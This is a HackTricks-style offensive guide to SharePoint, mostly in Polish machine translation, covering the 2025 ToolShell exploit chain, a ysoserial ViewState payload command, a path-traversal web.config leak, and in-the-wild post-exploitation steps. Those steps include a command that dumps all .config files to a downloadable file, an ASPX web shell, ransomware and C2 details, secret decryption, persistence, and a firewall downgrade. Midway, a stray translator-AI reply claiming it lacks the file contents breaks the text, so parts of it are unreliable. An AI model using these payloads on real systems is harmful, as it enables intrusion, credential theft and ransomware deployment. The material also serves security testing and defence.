Microsoft SharePoint – Pentesting & Exploitation
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Microsoft SharePoint (on-premises) jest zbudowany na ASP.NET/IIS. Większość klasycznej powierzchni ataku web (ViewState, Web.Config, web shells, etc.) jest więc obecna, ale SharePoint zawiera także setki własnych stron ASPX i web services, które dramatycznie zwiększają eksponowaną powierzchnię ataku. Ta strona zbiera praktyczne triki mające na celu enumerate, exploit and persist inside SharePoint environments, ze szczególnym naciskiem na 2025 exploit chain ujawniony przez Unit42 (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 exploit chain (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> pozwala na wstrzyknięcie dowolnego kodu Server-Side Include na stronę, który jest później kompilowany przez ASP.NET. Atakujący może osadzić C#, który wywoła Process.Start() i umieścić złośliwy ViewState.
2.2 CVE-2025-49706 – Improper Authentication Bypass
Ta sama strona ufa nagłówkowi X-Forms_BaseUrl w celu określenia kontekstu witryny. Wskazując go na /_layouts/15/, MFA/SSO wymuszane na witrynie głównej można obejść bez uwierzytelnienia.
2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
Gdy atakujący kontroluje gadget w ToolPane.aspx, może wysłać wartość __VIEWSTATE unsigned (lub MAC-only), która wywołuje deserialization .NET wewnątrz w3wp.exe, prowadząc do wykonania kodu.
If signing is enabled, steal the ValidationKey/DecryptionKey from any web.config (see 2.4) and forge the payload with ysoserial.net or ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Aby uzyskać szczegółowe wyjaśnienie nadużywania ASP.NET ViewState przeczytaj:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure
Wysłanie spreparowanego parametru Source do ToolPane.aspx (np. ../../../../web.config) powoduje zwrócenie docelowego pliku, allowing leakage of:
<machineKey validationKey="…" decryptionKey="…">➜ forge ViewState / ASPXAUTH cookies- connection strings & secrets.
2.5 ToolShell workflow observed in Ink Dragon intrusions
Check Point odwzorował, jak Ink Dragon uruchomił łańcuch ToolShell na miesiące przed tym, jak Microsoft wypuścił poprawki:
- Header spoofing for auth bypass – aktor wysyła żądania POST do
/_layouts/15/ToolPane.aspxzReferer: https://<victim>/_layouts/15/oraz sfałszowanymX-Forms_BaseUrl. Te nagłówki przekonują SharePoint, że żądanie pochodzi z zaufanego layoutu i całkowicie pomijają front-door authentication (CVE-2025-49706/CVE-2025-53771). - Serialized gadget in the same request – w ciele znajduje się kontrolowany przez atakującego ViewState/ToolPart, który trafia do podatnego server-side formattera (CVE-2025-49704/CVE-2025-53770). Payload to zwykle łańcuch ysoserial.net uruchamiający się w
w3wp.exebez zapisu na dysk. - Internet-scale scanning – telemetry z lipca 2025 pokazuje, że skanują każdy osiągalny endpoint
/_layouts/15/ToolPane.aspxi replayują słownik leaked<machineKey>par. Każda strona, która skopiowała przykładowyvalidationKeyz dokumentacji, może zostać skompromitowana nawet jeśli jest w pełni załatana (zob. stronę ViewState dotyczącą signing workflow). - Immediate staging – udane wykorzystanie upuszcza loader lub PowerShell stagera, który: (1) zrzuca wszystkie
web.config, (2) osadza ASPX webshell dla dostępu awaryjnego, oraz (3) planuje lokalny Potato privesc, aby uciec z procesu roboczego IIS.
3. Post-exploitation recipes observed in the wild
3.1 Exfiltrate every .config file (variation-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
Wynikowy debug_dev.js może być pobrany anonimowo i zawiera wszystkie wrażliwe konfiguracje.
3.2 Deploy a Base64-encoded ASPX web shell (variation-2)
powershell.exe -EncodedCommand <base64>
Przykład zdekodowanego payloadu (skrócony):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
I don’t have the file contents. Please paste the markdown from src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md (or upload it) and I’ll translate the English text to Polish, preserving all markdown/HTML, code, links, paths and tags as you requested.
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
The shell exposes endpoints to read / rotate machine keys which allows forging ViewState and ASPXAUTH cookies across the farm.
3.3 Obfuscated variant (variation-3)
Ten sam shell, ale:
- umieszczony pod
...\15\TEMPLATE\LAYOUTS\ - nazwy zmiennych skrócone do pojedynczych liter
Thread.Sleep(<ms>)dodano dla sandbox-evasion & timing-based AV bypass.
3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (zaobserwowane w 2025–2026)
Niedawne śledztwa incident-response (Unit42 “Project AK47”) pokazują, jak atakujący wykorzystują łańcuch ToolShell po początkowym RCE, aby wdrożyć dwukanałowy implant C2 i ransomware w środowiskach SharePoint:
AK47C2 – dnsclient variant
- Hard-coded DNS server:
10.7.66.10communicating with authoritative domainupdate.updatemicfosoft.com. - Messages are JSON objects XOR-encrypted with the static key
VHBD@H, hex-encoded and embedded as sub-domain labels.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Long queries are chunked and prefixed with
s, then re-assembled server-side. - Server replies in TXT records carrying the same XOR/hex scheme:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- Version 202504 introduced a simplified format
<COMMAND>::<SESSION_KEY>and chunk markers1,2,a.
AK47C2 – httpclient variant
- Re-uses the exact JSON & XOR routine but sends the hex blob in the HTTP POST body via
libcurl(CURLOPT_POSTFIELDS, etc.). - Same task/result workflow allowing:
- Arbitrary shell command execution.
- Dynamic sleep interval and kill-switch instructions.
X2ANYLOCK ransomware
- 64-bit C++ payload loaded through DLL side-loading (see below).
- Employs AES-CBC for file data + RSA-2048 to wrap the AES key, then appends the extension
.x2anylock. - Recursively encrypts local drives and discovered SMB shares; skips system paths.
- Drops clear-text note
How to decrypt my data.txtembedding a static Tox ID for negotiations. - Contains an internal kill-switch:
if (file_mod_time >= "2026-06-06") exit(0);
DLL side-loading chain
- Attacker writes
dllhijacked.dll/My7zdllhijacked.dllnext to a legitimate7z.exe. - SharePoint-spawned
w3wp.exelaunches7z.exe, which loads the malicious DLL because of Windows search order, invoking the ransomware entrypoint in memory. - A separate LockBit loader observed (
bbb.msi➜clink_x86.exe➜clink_dll_x86.dll) decrypts shell-code and performs DLL hollowing intod3dl1.dllto run LockBit 3.0.
[!INFO] The same static Tox ID found in X2ANYLOCK appears in leaked LockBit databases, suggesting affiliate overlap.
3.5 Przekształcanie zdobytych danych SharePoint w lateral movement
- Odszyfruj każdą chronioną sekcję – po uzyskaniu dostępu do warstwy web, nadużyj
aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri(lub-px "appSettings") aby zrzucić jawne sekrety ukryte za<connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">. Ink Dragon wielokrotnie zbierał w ten sposób loginy do SQL, SMTP relays i niestandardowe poświadczenia usług. - Powielanie kont app-pool w różnych farmach – wiele przedsiębiorstw używa tego samego konta domenowego dla
IIS APPPOOL\SharePointna każdym front-endzie. Po odszyfrowaniu blokówidentity impersonate="..."lub odczytaniuApplicationHost.config, przetestuj poświadczenia przez SMB/RDP/WinRM na każdym sąsiednim serwerze. W kilku incydentach konto było również administratorem lokalnym, co pozwalało napsexec,sc create, lub staging zaplanowanego zadania bez wywoływania password sprays. - Abuse leaked
<machineKey>values internally – nawet jeśli perimeter internetowy zostanie załatany, ponowne użycie tego samegovalidationKey/decryptionKeyumożliwia lateral ViewState exploitation między wewnętrznymi strefami SharePoint, które sobie ufają.
3.6 Persistence patterns witnessed in 2025 intrusions
- Scheduled tasks – tworzono jednorazowe zadanie o nazwie
SYSCHECK(lub inne o tematyce zdrowotnej) z/ru SYSTEM /sc once /st <hh:mm>aby zainicjować loader następnego etapu (zwykle przemianowanyconhost.exe). Ponieważ jest uruchamiane tylko raz, telemetry często je przegapia, chyba że zachowano historyczny XML zadania. - Masqueraded services – usługi takie jak
WindowsTempUpdate,WaaSMaintainer, czyMicrosoftTelemetryHostsą instalowane przezsc createwskazujące na katalog triady sideloading. Binarne zachowują oryginalne podpisy AMD/Realtek/NVIDIA, ale są przemianowane, aby pasować do komponentów Windows; porównanie nazwy na dysku z polem PEOriginalFileNameto szybki test integralności.
3.7 Host firewall downgrades for relay traffic
Ink Dragon rutynowo dodaje permisywną regułę wychodzącą podszywającą się pod konserwację Defendera, aby ruch ShadowPad/FinalDraft mógł wychodzić przez dowolny port:
netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any
Ponieważ reguła jest tworzona lokalnie (nie przez GPO) i używa legalnego pliku binarnego Defender jako program=, większość baseline’ów SOC ją ignoruje, a mimo to otwiera Any ➜ Any ruch wychodzący.
Powiązane triki
- IIS post-exploitation & web.config abuse:
IIS - Internet Information Services
Źródła
- Unit42 – Active Exploitation of Microsoft SharePoint Vulnerabilities
- GitHub PoC – ToolShell exploit chain
- Microsoft Security Advisory – CVE-2025-49704 / 49706
- Unit42 – Project AK47 / SharePoint Exploitation & Ransomware Activity
- Microsoft Security Advisory – CVE-2025-53770 / 53771
- Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


